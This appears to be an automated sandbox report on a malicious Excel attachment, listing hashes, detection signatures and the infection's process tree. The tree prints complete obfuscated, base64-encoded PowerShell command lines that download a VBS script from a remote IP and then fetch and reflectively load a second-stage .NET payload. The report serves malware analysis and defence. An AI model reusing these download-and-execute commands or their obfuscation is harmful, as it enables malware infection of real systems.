Edit tour
Windows
Analysis Report
SOA USD67,353.35.xla.xlsx
Overview
General Information
| Sample name: | SOA USD67,353.35.xla.xlsx |
| Analysis ID: | 1574072 |
| MD5: | 2c85440bb7983bbcda4cfb9f2350f95f |
| SHA1: | ae1f72edfd479dcf08cb80ea8bea1bc5429c1dbc |
| SHA256: | ce3ef0f989fb870bb0258926e344421055dbe53067e06b5635ca7931b2fb0bc5 |
| Tags: | xlaxlsxuser-abuse_ch |
| Infos: |   |
 | |
Detection
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell download and execute
Yara detected obfuscated html page
Connects to a pastebin service (likely for C&C)
Document exploit detected (process start blacklist hit)
Excel sheet contains many unusual embedded objects
Installs new ROOT certificates
Machine Learning detection for sample
Microsoft Office drops suspicious files
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: File With Uncommon Extension Created By An Office Application
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious Microsoft Office Child Process
Sigma detected: WScript or CScript Dropper
Suspicious command line found
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates a window with clipboard capturing capabilities
Detected potential crypto function
Document contains embedded VBA macros
Document embeds suspicious OLE2 link
Document misses a certain OLE stream usually present in this Microsoft Office document type
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Excel Network Connections
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: Suspicious Office Outbound Connections
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w7x64
EXCEL.EXE (PID: 3584 cmdline: "C:\Progra m Files\Mi crosoft Of fice\Offic e14\EXCEL. EXE" /auto mation -Em bedding MD5: D53B85E21886D2AF9815C377537BCAC3) 
mshta.exe (PID: 3916 cmdline: C:\Windows \System32\ mshta.exe -Embedding MD5: 95828D670CFD3B16EE188168E083C3C5) 
cmd.exe (PID: 4040 cmdline: "C:\Window s\system32 \cmd.exe" "/c POwers heLl -eX BYPaSS -nop -W 1 -C DeviCecre dEnTIalDEP LOYMEnt.Ex e ; iNVO ke-expRESS iON($(iNvO kE-ExpRESS ioN('[Syst eM.TEXT.EN cODiNG]'+[ cHaR]58+[C har]0x3a+' Utf8.GeTST riNG([SYsT em.CoNVERT ]'+[Char]5 8+[ChAR]0X 3A+'FRombA Se64STRIng ('+[chAR]0 X22+'JEw0Z ndkeXlMajA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgPSAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBhRGQtVHl wZSAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAtT UVNYkVSZEV GSU5JVGlPb iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAnW0R sbEltcG9yd CgiVVJsTU9 OLmRMTCIsI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIENoYXJ TZXQgPSBDa GFyU2V0LlV uaWNvZGUpX XB1YmxpYyB zdGF0aWMgZ Xh0ZXJuIEl udFB0ciBVU kxEb3dubG9 hZFRvRmlsZ ShJbnRQdHI gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgWFRvU EFva1FsLHN 0cmluZyAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CBtRFBqS3B BLHN0cmluZ yAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICBYZ0J oTVZaLHVpb nQgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgZFN FSkFZa3BHL EludFB0ciA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICB5eXVaQ 0FMWVkpOyc gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgLW5hT WUgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgIkV SaUlMZk4iI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIC1uQU1 lc1BhQ2UgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgQXogICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gLVBhc3NUa HJ1OyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA kTDRmd2R5e UxqMDo6VVJ MRG93bmxvY WRUb0ZpbGU oMCwiaHR0c DovLzEwNy4 xNzIuNDQuM Tc1LzczL3N pbXBsZWNvb 2tpZWJpc2N 1dHdpdGhzd 2VldG5lc3N mb3JlbnRpc mV0aW1lLnR JRiIsIiRlT nY6QVBQREF UQVxzaW1wb GVjb29raWV iaXNjdXR3a XRoc3dlZXR uZXNzZm9yZ W50aXIudmJ TIiwwLDApO 3NUQXJULVN sZUVwKDMpO 0lOdk9rZS1 FWFBSZXNza W9OICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICI kZU5WOkFQU ERBVEFcc2l tcGxlY29va 2llYmlzY3V 0d2l0aHN3Z WV0bmVzc2Z vcmVudGlyL nZiUyI='+[ ChAr]0X22+ '))')))" MD5: 5746BD7E255DD6A8AFA06F7C42C1BA41) 
powershell.exe (PID: 4064 cmdline: POwersheLl -e X BY PaSS -nop -W 1 - C De viCecredEn TIalDEPLOY MEnt.Exe ; iNVOke- expRESSiON ($(iNvOkE- ExpRESSioN ('[SysteM. TEXT.ENcOD iNG]'+[cHa R]58+[Char ]0x3a+'Utf 8.GeTSTriN G([SYsTem. CoNVERT]'+ [Char]58+[ ChAR]0X3A+ 'FRombASe6 4STRIng('+ [chAR]0X22 +'JEw0Zndk eXlMajAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgPSAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBh RGQtVHlwZS AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAtTUVN YkVSZEVGSU 5JVGlPbiAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAnW0RsbE ltcG9ydCgi VVJsTU9OLm RMTCIsICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IENoYXJTZX QgPSBDaGFy U2V0LlVuaW NvZGUpXXB1 YmxpYyBzdG F0aWMgZXh0 ZXJuIEludF B0ciBVUkxE b3dubG9hZF RvRmlsZShJ bnRQdHIgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgWFRvUEFv a1FsLHN0cm luZyAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICBt RFBqS3BBLH N0cmluZyAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICBYZ0JoTV ZaLHVpbnQg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgZFNFSk FZa3BHLElu dFB0ciAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC B5eXVaQ0FM WVkpOycgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgLW5hTWUg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgIkVSaU lMZk4iICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg IC1uQU1lc1 BhQ2UgICAg ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg QXogICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAgLV Bhc3NUaHJ1 OyAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICAkTD Rmd2R5eUxq MDo6VVJMRG 93bmxvYWRU b0ZpbGUoMC wiaHR0cDov LzEwNy4xNz IuNDQuMTc1 LzczL3NpbX BsZWNvb2tp ZWJpc2N1dH dpdGhzd2Vl dG5lc3Nmb3 JlbnRpcmV0 aW1lLnRJRi IsIiRlTnY6 QVBQREFUQV xzaW1wbGVj b29raWViaX NjdXR3aXRo c3dlZXRuZX NzZm9yZW50 aXIudmJTIi wwLDApO3NU QXJULVNsZU VwKDMpO0lO dk9rZS1FWF BSZXNzaW9O ICAgICAgIC AgICAgICAg ICAgICAgIC AgICAgICAg ICAgICIkZU 5WOkFQUERB VEFcc2ltcG xlY29va2ll YmlzY3V0d2 l0aHN3ZWV0 bmVzc2Zvcm VudGlyLnZi UyI='+[ChA r]0X22+')) ')))" MD5: A575A7610E5F003CC36DF39E07C4BA7D) 
csc.exe (PID: 3212 cmdline: "C:\Window s\Microsof t.NET\Fram ework64\v4 .0.30319\c sc.exe" /n oconfig /f ullpaths @ "C:\Users\ user\AppDa ta\Local\T emp\l2ioe5 3r\l2ioe53 r.cmdline" MD5: 23EE3D381CFE3B9F6229483E2CE2F9E1) - cvtres.exe (PID: 3224 cmdline:
C:\Windows \Microsoft .NET\Frame work64\v4. 0.30319\cv tres.exe / NOLOGO /RE ADONLY /MA CHINE:IX86 "/OUT:C:\ Users\user \AppData\L ocal\Temp\ RES5706.tm p" "c:\Use rs\user\Ap pData\Loca l\Temp\l2i oe53r\CSC7 77882445C1 84F59ADDE9 74B4279F6D .TMP" MD5: C877CBB966EA5939AA2A17B6A5160950) 
wscript.exe (PID: 3364 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\simpl ecookiebis cutwithswe etnessfore ntir.vbS" MD5: 045451FA238A75305CC26AC982472367) - powershell.exe (PID: 2668 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" $claustrop hobe = 'JG F1dG9zYXZl ID0gJ2h0dH BzOi8vcmVz LmNsb3VkaW 5hcnkuY29t L2R5dGZsdD Yxbi9pbWFn ZS91cGxvYW QvdjE3MzMx MzQ5NDcvYm tscHlzZXll dXQ0aW1wdz UwbjEuanBn ICc7JGNoZW 1vdHJvcGlz bSA9IE5ldy 1PYmplY3Qg U3lzdGVtLk 5ldC5XZWJD bGllbnQ7JH F1ZWVmID0g JGNoZW1vdH JvcGlzbS5E b3dubG9hZE RhdGEoJGF1 dG9zYXZlKT skcHVua2xp bmcgPSBbU3 lzdGVtLlRl eHQuRW5jb2 RpbmddOjpV VEY4LkdldF N0cmluZygk cXVlZWYpOy R0dWJlcmN1 bG9waG9iaW EgPSAnPDxC QVNFNjRfU1 RBUlQ+Pic7 JGZlbXRvY2 91bG9tYiA9 ICc8PEJBU0 U2NF9FTkQ+ Pic7JHVudG hyaWZ0eSA9 ICRwdW5rbG luZy5JbmRl eE9mKCR0dW JlcmN1bG9w aG9iaWEpOy RoYW1tYW0g PSAkcHVua2 xpbmcuSW5k ZXhPZigkZm VtdG9jb3Vs b21iKTskdW 50aHJpZnR5 IC1nZSAwIC 1hbmQgJGhh bW1hbSAtZ3 QgJHVudGhy aWZ0eTskdW 50aHJpZnR5 ICs9ICR0dW JlcmN1bG9w aG9iaWEuTG VuZ3RoOyRw ZXRyb2RvbG xhciA9ICRo YW1tYW0gLS AkdW50aHJp ZnR5OyRkYX N5YXRpZGFl ID0gJHB1bm tsaW5nLlN1 YnN0cmluZy gkdW50aHJp ZnR5LCAkcG V0cm9kb2xs YXIpOyRkaW dpdGFsaXNp bmcgPSAtam 9pbiAoJGRh c3lhdGlkYW UuVG9DaGFy QXJyYXkoKS B8IEZvckVh Y2gtT2JqZW N0IHsgJF8g fSlbLTEuLi 0oJGRhc3lh dGlkYWUuTG VuZ3RoKV07 JHVuaWRlYW xpemVkID0g W1N5c3RlbS 5Db252ZXJ0 XTo6RnJvbU Jhc2U2NFN0 cmluZygkZG lnaXRhbGlz aW5nKTskY2 9tbWVuZGlu ZyA9IFtTeX N0ZW0uUmVm bGVjdGlvbi 5Bc3NlbWJs eV06OkxvYW QoJHVuaWRl YWxpemVkKT skamFwb25p Y2FzID0gW2 RubGliLklP LkhvbWVdLk dldE1ldGhv ZCgnVkFJJy k7JGphcG9u aWNhcy5Jbn Zva2UoJG51 bGwsIEAoJz AvY3VWREUv ci9lZS5ldH NhcC8vOnNw dHRoJywgJy Rjb25maWRl bnRpYWxpdH knLCAnJGNv bmZpZGVudG lhbGl0eScs ICckY29uZm lkZW50aWFs aXR5JywgJ0 Nhc1BvbCcs ICckY29uZm lkZW50aWFs aXR5JywgJy Rjb25maWRl bnRpYWxpdH knLCckY29u ZmlkZW50aW FsaXR5Jywn JGNvbmZpZG VudGlhbGl0 eScsJyRjb2 5maWRlbnRp YWxpdHknLC ckY29uZmlk ZW50aWFsaX R5JywnJGNv bmZpZGVudG lhbGl0eScs JzEnLCckY2 9uZmlkZW50 aWFsaXR5Jy kpOw==';$u ninverted = [System. Text.Encod ing]::UTF8 .GetString ([System.C onvert]::F romBase64S tring($cla ustrophobe ));Invoke- Expression $uninvert ed MD5: A575A7610E5F003CC36DF39E07C4BA7D)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_Obshtml | Yara detected obfuscated html page | Joe Security |
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||